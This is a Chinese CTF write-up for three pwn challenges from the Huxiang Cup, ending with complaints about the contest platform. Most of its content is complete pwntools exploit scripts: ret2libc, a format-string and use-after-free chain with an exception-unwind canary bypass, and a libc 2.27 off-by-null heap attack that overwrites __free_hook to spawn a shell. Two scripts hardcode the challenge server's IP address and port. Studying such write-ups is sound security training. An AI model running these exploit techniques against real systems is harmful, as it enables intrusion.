湖湘杯,还剩仨小时放2个堆题,懂得都懂。
太JB恶心了。时间都来不及做。一早上就出两个签到题,秒完直接划水。然后最后三个小时给我来这个?我真是吐了。Orz

pwn_printf

ret2libc,唯一不同的地方就是第二次控制,这里需要多试几下会得到一个read 0xe字节大小的ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn_printf')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./pwn_printf')

else:
p = remote(ip,port)
payload="C"*8+p64(0x401213)+p64(elf.got["__libc_start_main"])+p64(elf.plt["puts"])+p64(0x40117F)
#gdb.attach(p,"b *0x4007e7")
p.sendlineafter("very interesting\n","30")
for i in range(15):
p.sendline("30")
p.send(payload)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=u64(p.recv(6).ljust(8,"\x00"))-libc.symbols["__libc_start_main"]
print "libcbase_addr=",hex(libcbase_addr)
system_addr=libcbase_addr+libc.symbols["system"]
binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
one_ge=[0x45226,0x4527a,0xf0364,0xf1207]
payload="C"*8+p64(libcbase_addr+one_ge[3])
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
pwn('ip',post,0)

blend_pwn

这里一套组合拳,格式化字符串漏洞泄露libc,UAF泄露heap地址,结果一看利用,这尼玛什么玩意。然后就去搜这个异常处理。
找到这篇文章
然后这个绕过就有思路了。
rbp可控,将返回地址控制为一个调用函数的地址,就可以绕过程序的canary
并且利用里面的leave_ret来栈迁移
payload如下格式

1
2
3
payload_1  = "A" * offiet
payload_1 += p64(pivote_addr)#你控制的地址
payload_1 += p64(unwind_addr)#一个调用函数的地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('blend_pwn')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./blend_pwn')

else:
p = remote(ip,port)
def add(content):
p.sendlineafter("choice >","2")
p.sendlineafter("input note:\n",content)
def free(index):
p.sendlineafter("choice >","3")
p.sendlineafter("index>",str(index))

p.sendlineafter("enter a name: ","%11$p")

p.sendlineafter("choice >","1")
p.recvuntil("user:0x")
libc_addr=int(p.recv(12),16)
print "libc_addr=",hex(libc_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_ge=[0x45226,0x4527a,0xf0364,0xf1207]
libcbase_addr=libc_addr-(0x7f3e53797840-0x7f3e53777000)
add("A"*8+p64(libcbase_addr+one_ge[1])*8)#0
add("A"*8+p64(libcbase_addr+one_ge[1])*8)#0
free(0)
free(1)
p.sendlineafter("Enter your choice >","4")
p.recvuntil("index 2:")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))
print "heap_addr=",hex(heap_addr)
#gdb.attach(p,"b *$rebase(0x11E9)")#b *$rebase(0x11B8)
p.sendlineafter("choice >","666")
print "libc_addr=",hex(libcbase_addr)
print "libc=",hex(libcbase_addr+libc.symbols["__free_hook"]+0x40)
print "li=",hex(libcbase_addr+one_ge[3])
p.sendlineafter("Please input what you want:","A"*0x20+p64(heap_addr+0x30)+"\xAB")#0x7f508abc329c-0x7f508a4e0000

p.interactive()
if __name__ == '__main__':
pwn('47.111.104.169',56304,0)

babyheap

libc2.27的off-by-null,麻烦的地方就是只能申请固定的堆块,不过问题不大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('babyheap')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./babyheap')

else:
p = remote(ip,port)
def add():
p.sendlineafter(">>","1")
def free(index):
p.sendlineafter(">>","4")
p.sendlineafter("index?\n",str(index))
def edit(index,size,content):
p.sendlineafter(">>","3")
p.sendlineafter("index?\n",str(index))
p.sendlineafter("Size:\n",str(size))
p.sendafter("Content:\n",content)
def show(index):
p.sendlineafter(">>","2")
p.sendlineafter("index?\n",str(index))
for i in range(10):
add()
for i in range(7):
free(i + 3)
free(0)
free(1)
free(2)
for i in range(7):
add()
add()
add()
add()
for i in range(7):
free(i)
free(7)
add()
free(8)
add()
free(0)
free(9)
for i in range(7):
add()

# leak libc
add() # chunk 8
edit(1,0x40,"A"*8)
show(1)
p.recvuntil("A"*8)
libcbase_addr=u64(p.recv(6).ljust(8,"\x00"))-(0x00007ffff7dcfca0-0x00007ffff79e4000)
print "libcbase_addr=",hex(libcbase_addr)
add()
free(0)
for i in range(6):
free(2+i)

#free(2)
free(9)
edit(1,0xf8,"\x00"*0xf0)
free(8)
for i in range(9):
add()
free(9)
libc=ELF("libc.so.6")
#edit(1,0x20,p64(libcbase_addr+0x3EAEE8))
edit(1,0x40,p64(libcbase_addr+libc.symbols["__free_hook"]))
add()
add()
edit(10,0x30,p64(libcbase_addr+libc.symbols["system"]))
#edit(10,0x20,p64(libcbase_addr+0x4F440))
edit(4,0x30,"/bin/sh\x00")
free(4)
#gdb.attach(p)
p.interactive()

if __name__ == '__main__':
pwn("47.111.104.169",57503,0)

总结

这比赛打的。下午的时候,flag不提排名反升。提了flag排名还降。比赛的时候全队只有我一个账号。给客服打电话客服说昨天没有参与答题今天就没有参与资格az(原来是取人的前600/狗头)。最骚的是,只要我的好队友用我的号,我是既不能上号也不能下号,cookie删除干净也不行,就离谱。我真是干死了,害的我为了提个flag连续开关机。最离谱的是平台还能宕机。我就想不通了,又不是打AWD,就来个CTF,平台还不行咯。真是体验感极差。某恒这次有点像某博的风格了。干就完了,奥里给。